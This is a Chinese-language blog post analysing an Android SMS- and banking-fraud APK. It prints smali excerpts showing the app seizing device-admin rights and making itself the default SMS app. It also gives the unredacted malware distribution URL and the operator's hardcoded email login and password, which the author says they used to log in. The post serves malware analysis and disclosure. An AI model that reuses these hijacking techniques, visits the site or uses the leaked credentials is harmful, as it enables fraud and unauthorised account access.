2016年9月12日星期一

ANDROID 逆向实例(一)- acce3ft.aevbbb


对于恶意软件不进行打码处理了,网址是 http://hpwxn.com/ 浏览之后可以下载两个 apk ,不过从文件大小来看应该是一个文件只不过进行了改名。

一般这种恶意软件既不会加壳也不会做复杂的混淆处理,分析起来很简单。直接反编译看 AndroidManifest.xml,找到如下一行。

<activity android:label="@string/app_name" android:name="acce3ft.aevbbb.MainActivity">

可以看到程序的 MainActivity, 直接看 acce3ft/aevbbb/MainActivity.smali 文件。

OnCreate

.method protected onCreate(Landroid/os/Bundle;)V
    .locals 4

    const/4 v3, 0x1

    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    invoke-super {p0, v3}, Landroid/app/Activity;->requestWindowFeature(I)Z

    const/high16 v0, 0x7f030000

    invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->setContentView(I)V

    invoke-static {}, Lacce3ft/aevbbb/util/MyApplication;->b()Landroid/content/Context;

    move-result-object v0

    invoke-static {}, Lacce3ft/aevbbb/util/c;->a()Z

    move-result v1

    if-nez v1, :cond_0

    invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->a(Landroid/content/Context;)V

    invoke-virtual {p0}, Lacce3ft/aevbbb/MainActivity;->finish()V

    :cond_0
    new-instance v1, Landroid/content/ComponentName;

    const-class v2, Lacce3ft/aevbbb/NetstateReceiver;

    invoke-direct {v1, v0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

    invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;

    move-result-object v0

    const/4 v2, 0x2

    invoke-virtual {v0, v1, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V

    invoke-static {}, Lacce3ft/aevbbb/util/c;->d()V

    return-void
.end method

进行了一系列的初始化操作,主要就是查看当前手机是否符合恶意软件的运行环境(权限、组件的开启情况等),需要注意的是在最后调用了 Lacce3ft/aevbbb/util/c;->d() 跟一下这个函数,该片段主要的代码结构如下

const-string v1, "CONTROL_NUMBER"

    sget-object v2, Lacce3ft/aevbbb/util/a;->g:Ljava/lang/String;

    invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

    move-result-object v1

    sput-object v1, Lacce3ft/aevbbb/util/a;->g:Ljava/lang/String;
即将 Lacce3ft/aevbbb/util/a; 类的各个参数进行重新赋值,本片段中是给 g 参数进行复制,因为重复地对该类进行赋值和读取操作,所以推测该类作用为储存恶意软件运行参数,查看该类的 smali 文件。

.method static constructor <clinit>()V
    .locals 1

    const/4 v0, 0x0

    sput v0, Lacce3ft/aevbbb/util/a;->a:I

    const-string v0, "sss"

    sput-object v0, Lacce3ft/aevbbb/util/a;->b:Ljava/lang/String;

    const-string v0, "15274907736@189.cn"

    sput-object v0, Lacce3ft/aevbbb/util/a;->c:Ljava/lang/String;

    const-string v0, "aaaa123123"

    sput-object v0, Lacce3ft/aevbbb/util/a;->d:Ljava/lang/String;

    const-string v0, "15274907736@189.cn"

    sput-object v0, Lacce3ft/aevbbb/util/a;->e:Ljava/lang/String;

    const-string v0, "15274907736"

    sput-object v0, Lacce3ft/aevbbb/util/a;->f:Ljava/lang/String;

    const-string v0, "15274907736"

确实如之前猜测一样,是参数类,邮箱账号和密码如上所示,登陆一下看看。


中招的挺多的,从邮件分析了一下恶意软件的运行机制,会从各个网银、理财等软件里向手机发起验证码,进行转账第一笔的 5 块转账,目的是为了查看是否能够走通流程,如果成功的话,会转出后续的余额,看了一下最多的一个账户余额为 7 w,到我查看的时候已经所剩无几。

OnStart


主要进行了两个操作,如果可以获取管理员权限(ROOT)即进行添加管理员操作(状态码:1),不行的话就尝试修改默认 SMS 使用的 package 为恶意软件的 package(状态码:0),执行完毕之后带着状态码进入 Lacce3ft/aevbbb/MainActivity;->startActivityForResult() 函数。

而与 startActivityForResult() 对应的, onActivityResult() 中设置了各个状态码对应的操作。几个比较明显的代码段如下。

const-string v0, "device_policy" # 检查当前是否为管理权限

invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

move-result-object v0

check-cast v0, Landroid/app/admin/DevicePolicyManager;

new-instance v1, Landroid/content/ComponentName;

const-class v2, Lacce3ft/aevbbb/MyAdmin;

invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;->(Landroid/content/Context;Ljava/lang/Class;)V

invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z

move-result v0
---
const-string v1, "isAdminActive" # 设置当前应用的管理员权限

invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;

invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z 
---
const-string v1, "android.provider.Telephony.SMS_DELIVER" # 设置当前应用为默认 SMS

invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;

iget-object v0, p0, Lacce3ft/aevbbb/MainActivity;->b:Landroid/content/Intent;

invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;

后续行为不做分析了,基本上千篇一律,删除并举报了邮箱。不过值得一提的是,在 360 显危镜和腾讯哈勃的 app 扫描里,该软件并没有被确定是恶意软件。

*文中分析的 apk 文件可以在 AndroidRevStudy 找到

Related Posts:

  • ANDROID 逆向实例(四)- com.qtfreet.crackme001现在很多 apk 在开发中为了保证代码不被轻易逆向出来会对关键函数采用 ndk 的方式用 c 语言和 java 代码进行交互,所以学会分析 .so 文件(加载流程、方式等)对安卓逆向来说是比较重要的。 这里借助一个 CrackMe.apk 实例来帮忙分析。反编译 apk 文件得到 smali 代码… Read More
  • ANDROID 逆向实例(五)- 360 QhCrackMe分析一个从看雪上拿过来的 apk。 看名字像是某次数字出的题目?不过毕竟年代久远,比较简单。 baksmail 反编译,就两个需要注意的文件 MainActivity.smali 和 MainActivity$1.smali 其实就是一个 MainActivity 类了,先进入程序看下是什… Read More
  • ANDROID 逆向实例(六)- 梆梆加固(2015.08)还是从网上找到的样本,拿来做加固分析的例子。 可以看到,加固之后多了两个 .so 文件、一个 com.edog 的 smali 文件夹,My.XuanAo.LiuYao 这个目录是本身 apk 的代码结构,所以猜测加固全是在 com.edog 和 .so 文件里做的。 看下 Andro… Read More
  • ANDROID 逆向实例(二)- XDCTF Mobile 100刚刚接触安卓逆向不久看见 XDCTF 有部分安卓逆向的题目,拿过来看看,试试手,第一次分析 CTF 相关的题目确实用了不少时间,不过同时也学到了不少东西。 常规手段还原出 smali 文件(这里偷了个懒,直接用的 apktool),没有混淆也没有 so 加固,只需要理出 smali 处理流程即可。… Read More
  • ANDROID 逆向实例(三)- Gamex 恶意软件流程太多 就不写了... 其实倒不是很复杂 代码没有做混淆和加壳还是比较好分析的 自己释放了几次得到最后的恶意 apk 执行 有兴趣的可以试试看 建议分析以加强对 smali 和安卓的了解 ~ * 相关文件上传到 Github 了 Reference Android Gamex … Read More